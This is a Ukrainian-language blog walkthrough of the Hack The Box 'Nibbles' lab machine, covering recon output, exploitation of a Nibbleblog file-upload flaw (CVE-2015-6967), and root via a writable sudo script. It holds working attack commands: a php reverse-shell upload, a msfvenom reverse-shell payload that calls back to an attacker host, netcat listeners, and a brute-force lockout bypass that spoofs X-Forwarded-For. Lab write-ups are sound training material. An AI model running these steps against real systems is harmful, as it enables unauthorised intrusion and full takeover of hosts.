Проходження Hack The Box | Nibbles

Nibbles - Linux машина легкого рівня. По правді кажучи, ця машина викликала багато прикрих почуттів. Той момент, коли витрачаєш купу часу на розв'язання задачі, а потім виявляється, що ти зовсім не у той бік думав і просто бився об стіну. Але давайте по черзі.


Розвідка

Як завжди, починаємо з autorecon:

$ autorecon x.x.x.x --single-target --no-port-dirs

Результат Nmap:

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)

Перебір по файлах і директоріях на цьому етапі результатів не дав.

Зайшовши на вебпортал, знаходимо наступну підказку у джерелі вебсторінки:

<b>Hello world!</b>

<!-- /nibbleblog/ directory. Nothing interesting here! -->

Тепер спробуємо повторити перебір файлів по директорії nibbleblog:

$ feroxbuster -u http://x.x.x.x:80/nibbleblog/ -t 10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "txt,html,php" -v -k -n -e -r
                                                                                                               
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://x.x.x.x:80/nibbleblog/
 🚀  Threads               │ 10
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [txt, html, php]
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 📍  Follow Redirects      │ true
 🔈  Verbosity             │ 1
 🚫  Do Not Recurse        │ true
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET       11l       13w      402c http://x.x.x.x/nibbleblog/sitemap.php
200      GET       61l      168w     2987c http://x.x.x.x/nibbleblog/index.php
200      GET       18l       82w     1354c http://x.x.x.x/nibbleblog/content/
200      GET       61l      168w     2987c http://x.x.x.x/nibbleblog/
200      GET        8l       15w      302c http://x.x.x.x/nibbleblog/feed.php
200      GET       20l      104w     1742c http://x.x.x.x/nibbleblog/themes/
200      GET       22l      126w     2128c http://x.x.x.x/nibbleblog/admin/
200      GET       27l       96w     1401c http://x.x.x.x/nibbleblog/admin.php
200      GET       30l      214w     3778c http://x.x.x.x/nibbleblog/plugins/
200      GET       88l      174w     1622c http://x.x.x.x/nibbleblog/update.php
200      GET        1l       11w       78c http://x.x.x.x/nibbleblog/install.php
200      GET      146l     1032w    82541c http://x.x.x.x/nibbleblog/admin/templates/easy4/css/img/grey.png
200      GET       63l      643w     4628c http://x.x.x.x/nibbleblog/README
200      GET      288l     1810w    18341c http://x.x.x.x/nibbleblog/languages/es_ES.bit
200      GET      288l      921w    16627c http://x.x.x.x/nibbleblog/languages/zh_TW.bit
200      GET      288l     1748w    17998c http://x.x.x.x/nibbleblog/languages/pt_PT.bit
200      GET      288l     1797w    18351c http://x.x.x.x/nibbleblog/languages/it_IT.bit
200      GET      288l     1645w    18190c http://x.x.x.x/nibbleblog/languages/pl_PL.bit
200      GET      288l      905w    16495c http://x.x.x.x/nibbleblog/languages/zh_CN.bit
200      GET      287l     1754w    17569c http://x.x.x.x/nibbleblog/languages/nl_NL.bit
200      GET      305l     1646w    25081c http://x.x.x.x/nibbleblog/languages/ru_RU.bit
200      GET      288l     1942w    19170c http://x.x.x.x/nibbleblog/languages/fr_FR.bit
200      GET      288l     1575w    17763c http://x.x.x.x/nibbleblog/languages/de_DE.bit
200      GET      326l     1740w    17135c http://x.x.x.x/nibbleblog/languages/en_US.bit
200      GET      288l     2061w    18787c http://x.x.x.x/nibbleblog/languages/vi_VI.bit
200      GET       27l      181w     3168c http://x.x.x.x/nibbleblog/languages/
200      GET      675l     5644w    35148c http://x.x.x.x/nibbleblog/LICENSE.txt
200      GET       26l      187w     1272c http://x.x.x.x/nibbleblog/COPYRIGHT.txt

Передивившись знайдені файли, ми здобуваємо наступну інформацію:

  • у системі є користувач admin

<notification_email_to type="string">[email protected]</notification_email_to>
  • версія CMS - Nibbleblog 4.0.3

http://x.x.x.x/nibbleblog/update.php
  • ../nibbleblog/admin.php - форма логіну, залишилось знайти пароль

Перед тим, як займатись пошуком пароля, спробуємо знайти у мережі можливі вразливості для даної CMS. Без зайвих вагань знаходимо вразливість - довільне завантаження файлів, до якої навіть є готовий Metasploit модуль.

CVE-2015-6967 - Вразливість необмеженого завантаження файлів у плагіні My Image у Nibbleblog <4.0.5 дозволяє віддаленим користувачам виконувати довільний код шляхом завантаження виконуваного файлу randomname.php і виконання прямого запиту до content/private/plugins/my_image/image.php.

Для експлуатації цієї вразливості нам потрібно бути автентифікованими у системі, тож спробуємо знайти пароль для користувача admin. Тут починається найвеселіше. Почавши перебір, бачимо що у системі імплементований механізм blacklisting - після 5-ї спроби вводу невірного паролю система блокує запити з нашої IP - адреси. Обійти цей механізм допомогло використання X-Forwarded-For з унікальною адресою для кожного запиту. У мене не вистачило клепки зробити це через hydra, тож довелось спробувати через кастомізований скрипт у Turbo Intruder, працює доволі швидко, тож втрата по часу невелика. Витративши на всі операції з налаштування і перебору близько 30 хвилин, стало очевидно, що тут щось не те. Фрустрація досягла того рівня, коли треба дивитись підказку :) Паролем для користувача виявилась назва цієї машини… Буває. Нотатка на майбутнє: пробувати не тільки дефолтні паролі штибу admin\123456\etc, а ще й назви, пов’язані з конкретним програмним забезпеченням, встановленим на машині.


Первинне проникнення

Тепер у нас є ім’я та пароль користувача. Для експлуатації вразливості можна використати згаданий вище модуль для Metasploit, але ми використаємо оцей скрипт. У якості payload можна використати php-reverse-shell.php. Не забудьмо налаштувати netcat у режим прослуховування порту і запускаємо скрипт:

$ python3 exploit.py --url http://x.x.x.x/nibbleblog/ --username admin --password hehehe --payload php-reverse-shell.php

[+] Login Successful.
[+] Upload likely successfull.

Отримуємо з’єднання:

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [y.y.y.y] from (UNKNOWN) [x.x.x.x] 42390
Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 13:00:50 up 8 min,  0 users,  load average: 0.01, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)

Підвищення привілеїв

Переглянемо список команд, які користувач nibbler може виконувати з правами супер користувача:

$ sudo -l
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

Оглянувши домашню директорію користувача nibbler знаходимо personal.zip архів, розархівувавши який знаходимо файл зазначений у виводі команди вище. У нас є права на запис для цього файлу, тож ми просто можемо переписати його, замінивши на файл з reverse shell:

$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=y.y.y.y LPORT=4545 -f elf -o monitor.sh

Запускаємо наш файл використовуючи sudo:

$ sudo /home/nibbler/personal/stuff/monitor.sh

Отримуємо з’єднання як root:

$ nc -lvnp 4545
listening on [any] 4545 ...
connect to [y.y.y.y] from (UNKNOWN) [x.x.x.x] 35198
python3 -c 'import pty;pty.spawn("/bin/bash");' 
root@Nibbles:/home/nibbler/personal/stuff# cd /root
root@Nibbles:/root# ls -la
total 32
drwx------  4 root root 4096 Jul  3 12:52 .
drwxr-xr-x 23 root root 4096 Dec 15  2020 ..
-rw-------  1 root root    0 Dec 29  2017 .bash_history
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwx------  2 root root 4096 Dec 10  2017 .cache
drwxr-xr-x  2 root root 4096 Dec 10  2017 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-------  1 root root 1091 Dec 15  2020 .viminfo
-r--------  1 root root   33 Jul  3 12:52 root.txt

По можливості, завжди корисно подивитись розбір від профі.

Легенда
Поділись своїми ідеями в новій публікації.
Ми чекаємо саме на твій довгочит!
hexa
hexa@hexa

Cyber-дилетант

40Прочитань
4Автори
1Читачі
На Друкарні з 15 червня

Більше від автора

  • Проходження Hack The Box | Blocky

    Blocky - Linux машина легкого рівня. Якщо провести ретроспективу, то шлях від розвідки до отримання прав root користувача доволі простий, але те, що на машині є певна кількість кролячих нір, зробило її цікавою ціллю для практики.

    Теми цього довгочиту:

    Htb
  • Проходження Hack The Box | Antique

    Antique - Linux машина легкого рівня. Доволі цікавий шлях первинного проникнення до системи. Гарна можливість познайомитись з роботою протоколу SNMP.

    Теми цього довгочиту:

    Htb
  • Проходження Hack The Box | Return

    Return - Windows машина легкого рівня. З небагатьох машин, які мені довелось пройти на цей час - це машина з найлегшим первинним проникненням до системи. Це саме той випадок, коли складність дійсно відповідає Easy.

    Теми цього довгочиту:

    Htb

Вам також сподобається

Коментарі (0)

Підтримайте автора першим.
Напишіть коментар!

Вам також сподобається